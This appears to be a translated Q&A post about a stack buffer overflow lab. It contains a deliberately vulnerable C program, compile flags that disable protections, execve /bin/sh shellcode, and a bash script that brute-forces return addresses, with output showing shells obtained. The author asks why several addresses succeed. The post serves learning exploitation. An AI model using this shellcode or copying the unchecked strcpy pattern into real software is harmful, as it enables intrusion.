我写了一个简单易受攻击的程序来堆栈溢出攻击:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func(char *arg)
{
char name[32];
strcpy(name, arg);
printf("Welcome %s\n", name);
}
int main (int argc, char *argv[])
{
if (argc != 2)
{
printf("Use: %s YOUR_NAME\n", argv[0]);
return 0;
}
func(argv[1]);
return 0;
}
我用以下代码编译它:
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack example.c -o example
并使用
禁用ASLRecho 0 > /proc/sys/kernel/randomize_va_space
我写了一个简单的shellcode:
08048054 <_start>:
8048054: eb 1f jmp 8048075 <last>
08048056 <first>:
8048056: 90 nop
8048057: 5e pop %esi
8048058: 89 76 08 mov %esi,0x8(%esi)
804805b: 31 c0 xor %eax,%eax
804805d: 88 46 07 mov %al,0x7(%esi)
8048060: 89 46 0c mov %eax,0xc(%esi)
8048063: b0 0b mov $0xb,%al
8048065: 89 f3 mov %esi,%ebx
8048067: 8d 4e 08 lea 0x8(%esi),%ecx
804806a: 8d 56 0c lea 0xc(%esi),%edx
804806d: cd 80 int $0x80
804806f: 31 db xor %ebx,%ebx
8048071: 89 d8 mov %ebx,%eax
8048073: 40 inc %eax
8048074: cd 80 int $0x80
08048076 <last>:
8048076: e8 dc ff ff ff call 8048056 <first>
804807b: 2f das
804807c: 62 69 6e bound %ebp,0x6e(%ecx)
804807f: 2f das
8048080: 73 68 jae 80480e9 <last+0x74>
...
我能够在gdb
中利用它,我得到了一个shell。但在gdb
之外我无法做到。这是正常的,因为正如本文所述,答案Buffer overflow works in gdb but not without it gdb
添加了一些环境变量。所以,我尝试了在已接受的解决方案(包括脚本)中发布的替代方案,但它对我没有用。
所以,我用一个shell脚本来测试gdb
中找到的地址附近的地址:
#!/bin/bash
max=255
for i in `seq 219 $max`
do
for j in `seq 0 $max`
do
#hex= printf "%02x" `echo "obase=16; $i" | bc`
hex=`printf "%02x" $i`
hex1=`printf "%02x" $j`
echo "probando direccion: 0xffff$hex$hex1"
shellcode="\x90\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x$hex1\x$hex\xff\xff"
./example `python -c "print '$shellcode'"`
done
done
我的惊喜是什么?我编写的脚本使用不同的地址获取shell
./exploit.sh: línea 7: 14682 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6bf
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14687 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c0
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6c1
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6c2
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14703 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c3
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6c4
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14712 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c5
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14717 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c6
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14722 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c7
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14727 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c8
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14732 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c9
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14737 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6ca
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14742 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6cb
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14747 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6cc
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14752 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6cd
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14757 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6ce
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14762 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6cf
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6d0
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14771 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6d1
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6d2
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6d3
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6d4
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14788 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6d5
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14793 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6d6
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6d7
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14803 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6d8
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14808 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6d9
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6da
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14817 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6db
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6dc
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14826 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6dd
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6de
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14835 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6df
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6e0
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6e1
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14849 Instrucción ilegal (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6e2
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14854 Instrucción ilegal (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6e3
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14859 Instrucción ilegal (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6e4
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14864 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6e5
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14869 Violación de segmento (`core' generado) ./example `python -c "print '$shellcode'"`
正如您所看到的,在许多不同的地址(即0xffffd6c0,0xffffd6c1,0xffffd6c3,0xffffd6cf,0xffffd6d1等)中,我得到了一个shell。
这是什么原因?
地址0xffffd6c0
,0xffffd6c1
(前两个)和0xffffd6e0
(我获得shell的最后一个地址)可能有意义,因为我的shellcode中的第一个地址是一个nop和真正的shellcode从start + 1开始(这解释了我获得的前2个shell)。 shell使用0xffffd6e0
地址是有意义的,因为该地址是调用的地址:
8048075: e8 dc ff ff ff call 8048056 <first>
但为什么我得到的其他炮弹?
此外,如果我使用shell脚本获取shell的地址执行易受攻击的程序,我会获得分段错误
user:~/Documents/exploiting ./example `python -c "print '\x90\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xc0\xd6\xff\xff'"`
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
[1] 21580 segmentation fault (core dumped) ./example
user:~/Documents/exploiting ./example `python -c "print '\x90\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xc1\xd6\xff\xff'"`
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
[1] 21584 segmentation fault (core dumped) ./example
user:~/Documents/exploiting ./example `python -c "print '\x90\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xe0\xd6\xff\xff'"`
Welcome ��^�1��F�F
�
����V
1ۉ�@�����/bin/sh����
[1] 21588 segmentation fault (core dumped) ./example
与gdb
中的行为相同,shellscript还修改了程序执行的堆栈地址吗?